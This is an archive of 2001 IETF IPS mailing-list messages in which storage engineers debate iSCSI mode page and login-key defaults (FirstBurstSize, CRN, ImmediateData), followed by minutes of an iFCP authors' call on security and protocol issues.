ESMTP id 375821F77C; Fri, 21 Sep 2001 12:21:02 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id MAA02465; Fri, 21 Sep 2001 12:20:51 -0700 (PDT) Message-ID: <3BAB9495.F7BB3B9A@cup.hp.com> Date: Fri, 21 Sep 2001 12:27:17 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Cc: T10 Reflector Subject: Re: iscsi : default iscsi mode page settings. References: <78AF3C342AEAEF4BA33B35A8A15668C6019E203B@cceexc17.americas.cpqcorp.net> Content-Type: multipart/mixed; boundary="------------56D77B81D44693B2E59A02CF" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------56D77B81D44693B2E59A02CF Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit "Elliott, Robert" wrote: > If an initiator cares about any settings it better run MODE SENSE > to set them. In a multi-initiator environment with various kinds > of reset events occuring on the SAN, an initiator can't be sure > of the state of a mode page. (see the tape problem discovered by > Veritas in FCP-2 public review; tape mode pages were reset without > the knowledge of the application, breaking backups). Rob, Is'nt this all the more reason to avoid setting FirstBurstSize through a mode page and use a login key for this ? Shared mode pages can cause some strange side effects on I/Os that are using un-solicited data. > > > Logical Unit Control Mode Page > > ============================== > > This mode page definition can be removed from the iscsi draft since it > > governs per-LUN state information and LUN state is the realm of the > > SCSI ULP. In particular, it is the SCSI ULP that decides whether to > > enable/disable CRN, since CRN is generated by the SCSI ULP. > > > > Thus, it is un-clear why the "Enable CRN" is negotiated at a > > protocol level & not at a SCSI ULP mode page such as the > > Control Mode Page. (??). > > > > Could anybody comment on why CRN (a ULP feature) needs to be > > enabled in an iscsi protocol mode page ? > > Perhaps, for FCP it made sense to negotiate something like > > "Enable CRN" in FCP specific mode pages, since early revisions > > of FCP did'nt specify the CRN field in FCP_CMD IU and so, > > the "Enable Precise Delivery" (EPDC) bit was required to > > be queried/set using mode sense/select, prior to using CRN. > > > > Since iscsi supports CRN in its scsi command pdu from its > > initial rev, I don't see why "Enable CRN" is needed to be done > > at the iscsi protocol level. > > You're right that history is the reason. CRN was created in FCP-2 > and wasn't added to SAM-2 until recently. Thus, it was > protocol-specific. The Logical Unit Control mode page was > created as a new page separate from the Port Control mode page > specifically to host the EPDC bit, which does not have > target-wide scope like the other Port Control mode page fields. > > The Control mode page doesn't have any fields whose implementation > depends on the protocol, so it's not really a good home for this. > The Disconnect-reconnect mode page does, but CRN doesn't really > fit with its other fields. Since FCP-2 has already committed to > using the Logical Unit Control mode page, it makes sense for > iSCSI to do the same. Does the EPDC bit verify the CRN capabilities of both the target FCP layer and the target SCSI ULP (device server) ? One would think the capabilities of the 2 layers need to be checked through seperate bits. The device server's ability to support CRN is a SCSI ULP feature and seems more like a bit in the Control Mode Page. (does not exist today ?). The target FCP's CRN capability is tested through the FCP specific EPDC bit in the FCP specific lun control mode page. For iSCSI, no protocol specific test should be required since iscsi always supports CRN. Regarding the device server's support for CRN, this seems like a better fit in the Control Mode Page. Regards, Santosh > CRN on one side, a bridge probably wants it enabled on the other > side so it doesn't have trouble reordering packets. By using > the same page the bridge can just pass through the Mode > Select/Mode Sense data when the software issues those commands. > If a different page was used, it might need to generate > additional Mode Select/Mode Sense commands and translate > the information. This is also why I think EMDP needs to > remain controlled by the Port Control mode page, rather than > just be delegated to text key exchange. --------------56D77B81D44693B2E59A02CF Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------56D77B81D44693B2E59A02CF-- From owner-ips@ece.cmu.edu Fri Sep 21 17:10:29 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA05858 for ; Fri, 21 Sep 2001 16:20:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LIawG03612 for ips-outgoing; Fri, 21 Sep 2001 14:36:58 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LIatP03603 for ; Fri, 21 Sep 2001 14:36:55 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel2.hp.com (Postfix) with ESMTP id F4091957 for ; Fri, 21 Sep 2001 11:36:53 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id LAA28093 for ; Fri, 21 Sep 2001 11:36:49 -0700 (PDT) Message-ID: <3BAB8A43.D4D60ABB@cup.hp.com> Date: Fri, 21 Sep 2001 11:43:15 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Subject: iscsi : MaximumBurstSize & FirstBurstSize values. Content-Type: multipart/mixed; boundary="------------394DD2C211971B35D46E2AF6" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------394DD2C211971B35D46E2AF6 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit All, I believe the FirstBurstSize setting has to be <= MaximumBurstSize ? I suggest that this be explicitly called out in the definition of FirstBurstSize. If this rule is not followed, an initiator would need to break the un-solicited data it sends into more than 1 data-out sequence, and in setting the F bit to indicate end-of-sequence, it can confuse the target into thinking its end of un-solicited data. The definitions currently read : "4.1.1 MaximumBurstSize Field (16 bit) This field defines the maximum SCSI data payload in an iSCSI sequence (a sequence of Data-In or Data-Out PDUs ending with a Data-In or Data-Out PDU with the F bit set to one) in units of 512 bytes. The default value assumed for a new iSCSI session (I_T nexus) is 512 units. 4.1.3 FirstBurstSize Field (16 bit) This field defines the maximum amount of unsolicited data an iSCSI initiator may to send to the target in units of 512 bytes. The default value assumed for a new iSCSI session (I_T nexus) is 128 units. " Regards, Santosh --------------394DD2C211971B35D46E2AF6 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------394DD2C211971B35D46E2AF6-- From owner-ips@ece.cmu.edu Fri Sep 21 17:55:54 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA07325 for ; Fri, 21 Sep 2001 17:55:54 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LJLVF07854 for ips-outgoing; Fri, 21 Sep 2001 15:21:31 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LJLTP07850 for ; Fri, 21 Sep 2001 15:21:29 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel11.hp.com (Postfix) with ESMTP id 7023F1F645 for ; Fri, 21 Sep 2001 11:44:25 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id LAA28505 for ; Fri, 21 Sep 2001 11:44:20 -0700 (PDT) Message-ID: <3BAB8C06.FC25CB64@cup.hp.com> Date: Fri, 21 Sep 2001 11:50:46 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings. References: Content-Type: multipart/mixed; boundary="------------512D0AA1D68CA9D86F1DB53A" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------512D0AA1D68CA9D86F1DB53A Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Julian, The FirstBurstSize is governing an iscsi parameter which is : "how much un-solicited data can the initiator send" ? I concur with Charles' suggestion that FirstBurstSize be moved to a login key. By doing this, we can improve scan times, due to the elimination of the mode sense/select & avoid the side effects of shared mode pages. This allows easier use of un-solicited data. Regards, Santosh Julian Satran wrote: > Separation of parameters was made on a (very good) sugestion made by Robert > Snively - to keep SCSI affecting values (SCSI buffer sizes etc.) in mode > pages and iSCSI related in key=value. > > Julo > > > "Binford, > Charles" To: IPS Reflector > s.com> Subject: RE: iscsi : default iscsi mode > Sent by: page settings. > owner-ips@ece. > cmu.edu > > > 21-09-01 16:54 > Please respond > to "Binford, > Charles" > > > > Santosh, I fully agree with the intent of your comments. One small > problem, however, is you argue for FirstBurstSize = 0. Based on your other > comments I believe you are saying first burst should be disabled. SPC-2 > (and I see nothing in iSCSI to change this) defines firstBurstSize of 0 to > mean "no limit". I believe that is exactly the opposite of what your are > arguing for. The mode page field of firstFirstSize does not have or need > the concept of zero blocks allowed because the feature is is enabled / > disabled via other methods; process login parameters in FCP, initialR2T and > ImmediateData text parameters. > > So, we have the problem of how does a host that wants to use immediate or > unsolicited data know how much he can send. Options I see are: > - define a default value for the mode page (current method in iSCSI spec). > As I argued in previous posting, I believe this breaks basic mode page > concepts of SCSI. > > - force the host to issue a mode sense before the first command with > Data-Out. > Not desirable, as Santosh argued in another email. > > - specify the amount of data the host send before the R2T during login as a > text parameter > What I prefer. > > If we go with the last choice, then one has the question of what to do with > firstBurstSize in the mode page. Two options come to mind: > - reflect the login specified value in firstburstsize during mode sense. > Memory says this is how it used to be? > > - do nothing with it. Let iSCSI say that parameter in the mode page has no > meaning for the iSCSI protocol. Move the "firstBurstSize" concept to the > iSCSI login/text parameters and let it stay there, don't try to tie it in > to > the mode pagan at all. (my preferred choice) > > Charles Binford > Pirus Networks > 316.315.0382 x222 > > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Thursday, September 20, 2001 6:44 PM > To: IPS Reflector > Subject: RE: iscsi : default iscsi mode page settings. > > All, > > I think we need to discuss the 2 issues of login key defaults & mode page > defaults seperately : > > 1) Defaults on login keys : > =================== > I am in favor of defining conservative defaults. Those initiators needing > additional features should be prepared to do the additional work of > negotiating those keys. It should'nt be the other way around. > Thus, default settings should be : > > MaxConnections = 1 > FMarker = "no" > InitialR2T = "yes" > BidiInitialR2T = "yes" > ImmediateData = "no" > DataPDULength = 16 > MaxOutstandingR2T = 1 > DataPDUInOrder = "yes" > ErrorRecoveryLevel = 0 > SessionType = "normal" > > I'd like to propose one more change that the LogoutLoginMinTime & > LogoutLoginMaxTime login keys be removed from the login keys. > > This is because these key values are only relevant for an initiator > re-login > following a target originated logout or connection drop (signalled through > an async message). The async message does contain these values and thus, it > provides no additional value to negotiate these during login. > > Also to be noted is that LogoutLoginMinTime & LogoutLoginMaxTime are most > likely properties of the target device (how long array "xyz" goes out to > lunch during certain infamous conditions) as opposed to a value that can be > negotiated on a per-initiator basis. > > 2) Defaults on iscsi mode pages : > ======================== > Typically, no protocol defaults are specified for mode page settings. > Initiators should be able to function correctly without having to do either > mode select or mode sense. Any initiator that needs advanced settings > should > be prepared to do the extra work of issuing mode sense/select to enable > these features. It should NOT be the other way around. (i.e. simple > initiators should NOT have to first issue a mode select in order to ensure > proper operation of their sessions). > > If the draft does wish to profile a set of recommended defaults for the > iscsi, these should be conservative, where they affect the operation of > those initiators that do not wish to perform mode select. > > In particular, the following defaults are required, if it is decided to > recommend a profile of default mode page settings : > > Disconnect-Reconnect Mode Page > -------------------------- > > * EMDP = 0 > > * MaximumBurstSize = 512 units (as it currently defined. Targets can > request less data in its R2T and send shorter data-in sequences, if > mode select is not used by initiators to reduce this value.) > > * FirstBurstSize = 0 > > The FirstBurstSize ***MUST*** be set to 0 and any initiators wishing to use > solicited data MUST first perform mode sense/select operations to query/set > these values. The above default setting of 128 is in-appropriate since : > > a) it can cause erroneous behaviour for those initiators that do not > perform > mode select to explicitly turn it off, since targets for which un-solicited > data is enabled but not used may reject/abort the I/O. > > b) it forces targets to ensure that 128 * 512 = 64K of un-solicited data is > allowed for every logged-in initiator and they have no control over turning > this off, since mode select is an initiator-driven operation. > Closing the command window causes performance drops and is not a very > satisfactory solution to this problem. > > Logical Unit Control Mode Page > ======================== > This mode page definition can be removed from the iscsi draft since it > governs per-LUN state information and LUN state is the realm of the > SCSI ULP. In particular, it is the SCSI ULP that decides whether to > enable/disable CRN, since CRN is generated by the SCSI ULP. > > Thus, it is un-clear why the "Enable CRN" is negotiated at a protocol level > & not at a SCSI ULP mode page such as the Control Mode Page. (??). > > Could anybody comment on why CRN (a ULP feature) needs to be enabled in an > iscsi protocol mode page ? > Perhaps, for FCP it made sense to negotiate something like "Enable CRN" in > FCP specific mode pages, since early revisions of FCP did'nt specify the > CRN > field in FCP_CMD IU and so, the "Enable Precise Delivery" (EPDC) bit was > required to be queried/set using mode sense/select, prior to using CRN. > > Since iscsi supports CRN in its scsi command pdu from its initial rev, I > don't see why "Enable CRN" is needed to be done at the iscsi protocol > level. > (?). > > Regards, > Santosh > > "KRUEGER,MARJORIE (HP-Roseville,ex1)" wrote: > > > I vote for making the exchange of some text parameters MANDATORY, with no > > defaults. > > > > Marj > > > > > -----Original Message----- > > > From: Robert Snively [mailto:rsnively@Brocade.COM] > > > Sent: Thursday, September 20, 2001 10:48 AM > > > To: 'Sanjeev Bhagat (TRIPACE/Zoetermeer)'; 'Santosh Rao'; IPS > > > Reflector > > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > > > > It is true that default mode settings for Mode Pages > > > are usually arranged between buyer and vendor for > > > maximum convenience in the buyer's systems. It is > > > generally true that any setting of a Mode Page will > > > allow the protocol to operate correctly, except a few, > > > notably the first burst size parameter if > > > ImmediateData is set to yes. > > > > > > On the other hand, some of the iSCSI text keyed > > > parameters MUST be known before the protocol will > > > operate correctly. ImmediateData is certainly > > > one of those. As a result, you have two choices: > > > > > > a) Make the negotiation of all such parameters > > > MANDATORY during the login and after any > > > reset that may change them, or; > > > > > > b) Define a default state that will be guaranteed > > > unless and until the parameter has been explicitly > > > changed. > > > > > > Your choice. > > > > > > Bob > > > > > > > -----Original Message----- > > > > From: Sanjeev Bhagat (TRIPACE/Zoetermeer) > > > [mailto:sbhagat@tripace.com] > > > > Sent: Thursday, September 20, 2001 6:59 AM > > > > To: 'Santosh Rao'; IPS Reflector > > > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > > > > > > > Santosh, > > > > > > > > Where did you find these SCSI Mode page settings? At least I > > > > could not find > > > > it in SAM-2 document? The mode select command is available in > > > > SPI documents > > > > but they are meant for particular SCSI device and not for > > > > iSCSI device? > > > > > > > > Be it whatever the case I would like to ask why the default value of > > > > MaximumBurstSize is 512 units and why is the default value of > > > > FirstBurstSize > > > > 128 units. remember each unit is 512 bytes as defined in iSCSI 7.9x > > > > revisions so setting the default value of FirstBurstSize to > > > > 128 units means > > > > 65536 bytes or 64K Bytes and similarly the value of > > > > Maximumburstsize is 256K > > > > Bytes. Is it Ok to have the FirstBurstsize of 64KB?? > > > > > > > > Sanjeev > > > > > > > > -----Original Message----- > > > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > > > Sent: Thursday, September 20, 2001 2:04 AM > > > > To: IPS Reflector > > > > Subject: iscsi : default iscsi mode page settings. > > > > > > > > > > > > All, > > > > > > > > Speaking on the subject of default settings, some questions > > > on recent > > > > changes to the iscsi mode select pages...... > > > > > > > > 1) Section 3 of rev 7.94 of the iscsi draft attempts to call > > > > out default > > > > values for the iscsi mode pages. Per my understanding, there are no > > > > defaults for SCSI mode pages, and all the setting are assumed to be > > > > disabled, unless explicitly turned on/enabled through a mode select. > > > > > > > > IOW, the keys in scsi mode pages are defined to be enabling certain > > > > features and the default settings are that these features are > > > > turned off > > > > unless a mode select is explicitly used to enable them. > > > > > > > > However, the iscsi mode pages seems to be using the opposite > > > > policy and > > > > is advertising default settings for mode pages, that too, > > > > agreesive ones > > > > at that! IOW, an initiator implemenation has to explicitly > > > > issue a mode > > > > select to disable/turn_off features rather than issue a > > > mode select to > > > > turn them on. > > > > > > > > Here's a few examples : > > > > > > > > * default MaximumBurstSize : 512 units > > > > * default EMDP : 1 (i.e. modify data pointers is enabled > > > by default > > > > !) > > > > * default FirstBurstSize : 128 units. (i.e. initiators MUST use > > > > solicited > > > > data, unless they explicitly turn it off using mode > > > > select, since, > > > > not > > > > sending solicited data when it has been negotiated > > > > implies a target > > > > may > > > > abort the I/O. > > > > > > > > I suggest that in keeping with the scsi mode pages, NO > > > > default settings > > > > be advertised for any iscsi mode > > > > pages. i.e. all defaults are conservative (set to 0), unless > > > > explicitly > > > > turned on thru a mode select. > > > > > > > > Comments ? > > > > > > > > Regards, > > > > Santosh > > > > > > > > "Mallikarjun C." wrote: > > > > > > > > > Matthew, > > > > > > > > > > I completely agree that the default should be "no"! I > > > pointed this > > > > > out sometime ago myself. Apart from what you point out, > > > the default > > > > > setting for "ImmediateData" seems to be at variance with the > > > > > conservative default for "InitialR2T" ("yes"). > > > > > > > > > > Julian, could you please consider this request? > > > > > > > > > > Regards. > > > > > -- > > > > > Mallikarjun > > > > > > > > > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > > > > > > > > > Julian, > > > > > > > > > > > > Appendix D24 (ImmediateData) does not describe the result of > > > > negotiation if > > > > > > the two sides differ. I presume that since the default is "yes", > > > > then only > > > > > > if both sides agree to "no" is immediate data turned > > > off. Please > > > > can this > > > > > > be stated. > > > > > > > > > > > > Additionally, I feel that the default value for > > > > ImmediateData should > > > > be > > > > > > "no". > > > > > > > > > > > > Similarly, there is no statement on MaxOutstandingR2T. > > > Presumable > > > > the > > > > > > minimum is selected. > > > > > > > > > > > --------------512D0AA1D68CA9D86F1DB53A Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------512D0AA1D68CA9D86F1DB53A-- From owner-ips@ece.cmu.edu Fri Sep 21 18:08:47 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA07446 for ; Fri, 21 Sep 2001 18:08:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LLZOh16943 for ips-outgoing; Fri, 21 Sep 2001 17:35:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zcars0m9.ca.nortel.com (zcars0m9.nortelnetworks.com [47.129.242.157]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LLZLP16938 for ; Fri, 21 Sep 2001 17:35:22 -0400 (EDT) Received: from zcars04e.ca.nortel.com (zcars04e.ca.nortel.com [47.129.242.56]) by zcars0m9.ca.nortel.com (8.11.0/8.11.0) with ESMTP id f8LLYbp03500 for ; Fri, 21 Sep 2001 17:34:37 -0400 (EDT) Received: from zbl6c012.corpeast.baynetworks.com by zcars04e.ca.nortel.com; Fri, 21 Sep 2001 17:34:49 -0400 Received: from zbl6c002.corpeast.baynetworks.com ([132.245.205.52]) by zbl6c012.corpeast.baynetworks.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id TH25HD1N; Fri, 21 Sep 2001 17:34:49 -0400 Received: from travos.nortelnetworks.com (CSE-NS-LAPTOP [47.16.69.109]) by zbl6c002.corpeast.baynetworks.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id RS89F2VY; Fri, 21 Sep 2001 17:34:46 -0400 Message-Id: <5.0.2.1.2.20010921163835.03cd91c0@zbl6c002.corpeast.baynetworks.com> X-Sender: travos@zbl6c002.corpeast.baynetworks.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Fri, 21 Sep 2001 17:51:51 -0400 To: ips@ece.cmu.edu From: "Franco Travostino" Subject: iFCP: Minutes authors' confcall Fri September 21th Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====================_23571250==_.ALT" X-Orig: Sender: owner-ips@ece.cmu.edu Precedence: bulk --=====================_23571250==_.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed Attendees: Mark Edwards, Eurologic Charles Monia, Nishan Systems David Robinson, Sun Microsystems Franco Travostino, Nortel Networks Josh Tseng, Nishan Systems 1. iFCP Security FT described the latest snapshot of security work for the soon-to-be iFCP 05 spec. JT and FT had derived this prose from the iFCP text in the Aboba I-D and from the post-interim slides posted to the IPS reflector. 1.1. ME had caught a wrong sentence there, to the sense that it was possible to _negotiate_ any and all security features away. 'Negotiate' is the wrong word, it applies to iSCSI but not to iFCP. For iFCP, we must use 'administratively disable' rather than 'negotiate'. Both ME and JT were satisfied with this change. 1.2. Static vs. dynamic IP addresses. David Black had questioned whether a MUST not use DHCP would pass muster with the IESG. There was consensus that DHCP for iFCP is most unlikely. DR successfully argued that a router cannot possibly use DHCP-supplied addresses, thus there must be an acceptable way to word this requirement. Given that we are bought into IKE Aggressive Mode anyway due to Main Mode's weakness with pre-shared group keys, we agreed that this is now a minor issue. 1.3. AES CTR mode. ME gave us a reference to a new I-D for the latter (that is, draft-moskowitz-aes128-ctr-00.txt). DR proposed that we put AES CTR as MUST implement, and add the proviso that we will eliminate such requirement if there is no normative text that we can cite. We agreed on this wording, and we continue to see 3DES CBC suiting us just fine. 1.4. Transport vs tunnel mode. FT asked to review current text stating that tunnel mode is MUST implement and transport mode is SHOULD implement. ME reaffirmed that dual implementation is easy enough in software, and had indirect knowledge that hardware implementation was simple enough. JT to gain more anecdotal evidence. 1.5. DR asked about SLP being a plausible setup alternative. ME and JT answered that iSNS is an invariant, and that the iSNS spec already describes that an iSNS client may implement an SLP client for discovery. 1.6. Process. We agreed to make a few additional passes on the security text, and then incorporate it into iFCP revision 05 (tentative date for IETF submission, Sept. 28th). The Aboba I-D will also be upgraded and kept consistent to the extent that we can manage it. The iFCP text, which we can fully control, will be the authoritative text in case of version skews. 2. iFCP issues from the last WG. CM addressed the following points, which were raised during the WG interim meeting. 2.1. Should appendix B, "Implementing IP to FC connectivity" be deleted? DR proposed to have an Informational RFC describing this new application scenario. Everybody agreed. 2.2. Should Appendix B specify that the DF bit must be honored for inbound and outbound IP traffic? Agreed, but it's really not germane here due to resolution in 2.1. 2.3. Stale frame detection, and clock accuracy issues. It was proposed to revise iFCP to require 100 ppm for the time reference, and to specify the accuracy requirements for the client nodes as a function of client update frequency. CM has verified that 100 ppm is comfortably within the state of the art. FT recalled that we also ought to define a measure for loss of sync. FT and ME asked that the spec indicates a recommended value. This suggestion was accepted. 2.4. Should FC-MI support be an iFCP goal? It would require that iFCP gateways support FC management server. CM described the FC-MI issue in detail. FT asked whether T11.3 currently believes that FC-MI is a mandatory property for FC. After some discussion, we agreed that CM will take the FC-MI issue to the proper working group at the next T11 meeting. 3. Rev 4.1 feedback FT asked about TRPLO commands whose parameter pages exceed frame size. After some discussion, it became clear that the specification could use extra text detailing the end-to-end failure semantics for this case. FT mentioned that TCP RST came up at the interim meeting as a quick way to terminate a TCP connection upon abnormal conditions (e.g., a CRC error in the common encapsulation frame). We agreed to set requirement levels for use of TCP RST upon specific errors. FT said that a gateway implementation could reboot fast enough to defeat the purpose of the TIME_WAIT state, thus making it possible for ghost frames to be around still and derail communication (ignoring IP security mechanisms for a second). There was consensus that it may be worth indicating a quiet time in the specification (the TCP specifications are quite vague on this, with values that are dated and practically ignored in most cases because end-systems' OSs take long time to reboot anyway). -franco Franco Travostino, Director Content Internetworking Lab Advanced Technology Investments Nortel Networks, Inc. 600 Technology Park Billerica, MA 01821 USA Tel: 978 288 7708 Fax: 978 288 4690 email: travos@nortelnetworks.com --=====================_23571250==_.ALT Content-Type: text/html; charset="us-ascii"
Attendees:
Mark Edwards, Eurologic
Charles Monia, Nishan Systems
David Robinson, Sun Microsystems
Franco Travostino, Nortel Networks
Josh Tseng, Nishan Systems


1.  iFCP Security

FT described the latest snapshot of security work for the soon-to-be iFCP 05 spec. JT and FT had derived this prose from the iFCP text in the Aboba I-D and from the post-interim slides posted to the IPS reflector.

1.1. ME had caught a wrong sentence there, to the sense that it was possible to _negotiate_ any and all security features away. 'Negotiate' is the wrong word, it applies to iSCSI but not to iFCP. For iFCP, we  must use 'administratively disable' rather than 'negotiate'. Both ME and JT were satisfied with this change.

1.2. Static vs. dynamic IP addresses. David Black had questioned whether a MUST not use DHCP would pass muster with the IESG. There was consensus that DHCP for iFCP is most unlikely. DR successfully argued that a router cannot possibly use DHCP-supplied addresses, thus there must be an acceptable way to word this requirement. Given that we are bought into IKE Aggressive Mode anyway due to Main Mode's weakness with pre-shared group keys, we agreed that this is now a minor issue.

1.3. AES CTR mode. ME gave us a reference to a new I-D for the latter (that is, draft-moskowitz-aes128-ctr-00.txt). DR proposed that we put AES CTR as MUST implement, and add the proviso that we will eliminate such requirement if there is no normative text that we can cite. We agreed on this wording, and we continue to see 3DES CBC suiting us just fine.

1.4. Transport vs tunnel mode. FT asked to review current text stating that tunnel mode is MUST implement and transport mode is SHOULD implement. ME reaffirmed that dual implementation is easy enough in software, and had indirect knowledge that hardware implementation was simple enough. JT to gain more anecdotal evidence.

1.5. DR asked about SLP being a plausible setup alternative. ME and JT answered that iSNS is an invariant, and that the iSNS spec already describes that an iSNS client may implement an SLP client for discovery.

1.6. Process. We agreed to make a few additional passes on the security text, and then incorporate it into iFCP revision 05 (tentative date for IETF submission, Sept. 28th). The Aboba I-D will also be upgraded and kept consistent to the extent that we can manage it. The iFCP text, which we can fully control, will be the authoritative text in case of version skews.

2.  iFCP issues from the last WG.

CM addressed the following points, which were raised during the WG interim meeting.

2.1. Should appendix B, "Implementing IP to FC connectivity" be deleted? DR proposed to have an Informational RFC describing this new application scenario. Everybody agreed.

2.2. Should Appendix B specify that the DF bit must be honored for inbound and outbound IP traffic? Agreed, but it's really not germane here due to resolution in 2.1.

2.3. Stale frame detection, and clock accuracy issues. It was proposed to revise iFCP to require 100 ppm for the time reference, and to specify the accuracy requirements for the client nodes as a function of client update frequency. CM has verified that 100 ppm is comfortably within the state of the art. FT recalled that we also ought to define a measure for loss of sync. FT and ME asked that the spec indicates a recommended value. This suggestion was accepted.

2.4. Should FC-MI support be an iFCP goal? It would require that iFCP gateways support FC management server. CM described the FC-MI issue in detail. FT asked whether T11.3 currently believes that FC-MI is a mandatory property for FC. After some discussion, we agreed that CM will take the FC-MI issue to the proper working group at the next T11 meeting.

3.  Rev 4.1 feedback

FT asked about TRPLO commands whose parameter pages exceed frame size. After some discussion, it became clear that the specification could use extra text detailing the end-to-end failure semantics for this case.

FT mentioned that TCP RST came up at the interim meeting as a quick way to terminate a TCP connection upon abnormal conditions (e.g., a CRC error in the common encapsulation frame). We agreed to set requirement levels for use of TCP RST upon specific errors.

FT said that a gateway implementation could reboot fast enough to defeat the purpose of the TIME_WAIT state, thus making it possible for ghost frames to be around still and derail communication (ignoring IP security mechanisms for a second). There was consensus that it may be worth indicating a quiet time in the specification (the TCP specifications are quite vague on this, with values that are dated and practically ignored in most cases because end-systems' OSs take long time to reboot anyway).

-franco


Franco Travostino, Director Content Internetworking Lab
Advanced Technology Investments
Nortel Networks, Inc.
600 Technology Park
Billerica, MA 01821 USA
Tel: 978 288 7708 Fax: 978 288 4690
email: travos@nortelnetworks.com
